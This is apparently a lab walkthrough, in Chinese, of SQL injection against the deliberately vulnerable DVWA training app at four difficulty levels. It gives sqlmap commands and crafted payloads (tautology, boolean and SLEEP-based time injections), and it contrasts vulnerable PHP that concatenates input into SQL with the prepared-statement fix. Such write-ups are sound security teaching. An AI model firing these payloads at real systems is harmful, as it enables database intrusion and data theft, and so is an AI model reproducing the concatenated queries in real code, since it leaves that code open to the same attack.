something about DVWA - SQL Injection

DVWA

DVWA => 备份地址

SQL Injection(sql注入)

Low

• sqlmap测试

  • 使用burpsuit拦截请求

  • 将请求保存为文本文件

  • 使用sqlmap对已保存的请求做sql注入

    sqlmap -r ./sql.injection/sql.injection.low.txt --level=5 --risk=3 -p id

  • 根据sqlmap结果构造恶意注入

    # %27  => '
    # %3D  => =
    # id=1'or'1'='1
    http://train.com/dvwa/vulnerabilities/sqli/?id=1%27or%271%27%3D%271&Submit=Submit#

• 源码分析

  • 直接从request中获取参数

    // Get input
    $id = $_REQUEST[ 'id' ];

  • 直接将参数拼接入SQL文中查询

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

Medium

• sqlmap测试

  • 使用burpsuit拦截请求

  • 将请求保存为文本文件

  • 使用sqlmap对已保存的请求做sql注入

    sqlmap -r ./sql.injection/sql.injection.medium.txt --level=5 --risk=3 -p id --batch

  • 根据sqlmap结果构造恶意注入

    # 构造的恶意`payload`
    # 将`post`参数内容提供为
    id=2 OR NOT 7336=7336

• 源码分析

  • 直接从request中获取参数

    与Low级别相同。

  • 对参数转义特殊字符

    使用mysqli_real_escape_string()函数转义特殊字符。

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

  • 直接将参数拼接入SQL文中查询

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    // 再进行查询

High

High级别主要是提交请求页面与结果渲染页面分离，此举主要为了防止sqlmap等自动化工具测试。 不过sqlmap有--second-url=xxx参数,可以用来手动指定结果渲染页面url。

• sqlmap测试

  • 使用burpsuit拦截请求

  • 将请求保存为文本文件

  • 使用sqlmap对已经保存的请求做sql注入

    --second-url参数用于指定响应结果页面url。

    sqlmap -r ~/Documents/0pentest/sql.injection/sql.injection.high.txt --second-url="http://train.com/dvwa/vulnerabilities/sqli/"

  • 根据sqlmap结果构造恶意注入

• 源码分析

  • 提交请求页面与响应结果渲染页面分开

    提交请求页面:

    http://train.com/dvwa/vulnerabilities/sqli/session-input.php

    结果渲染页面:

    http://train.com/dvwa/vulnerabilities/sqli/

    提交请求页面提交请求后会将参数内容放到session中。

  • 从session中获取参数

    // Get input
    $id = $_SESSION[ 'id' ];

  • 直接将参数拼接入SQL文中查询

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    // 再查询

  • 根据sqlmap结果构造恶意注入

    # 构造的恶意`payload`
    # 将`post`参数内容提供为
    id=3' AND (SELECT 4198 FROM (SELECT(SLEEP(5)))Yudr) AND 'Jnep'='Jnep

Impossible

• 源码分析

  • 从token中验证身份

    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

  • 从request中获取参数

    // Get input
    $id = $_GET[ 'id' ];

  • 判断参数是否为数字

    // Was a number entered?
    if(is_numeric( $id )) {
        // other statements
    }

  • 将参数转为int值

    $id = intval ($id);

  • 将参数以PDO的方式预编译进sql中进行查询

    // Check the database
    $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
    $data->bindParam( ':id', $id, PDO::PARAM_INT );
    $data->execute();
    $row = $data->fetch();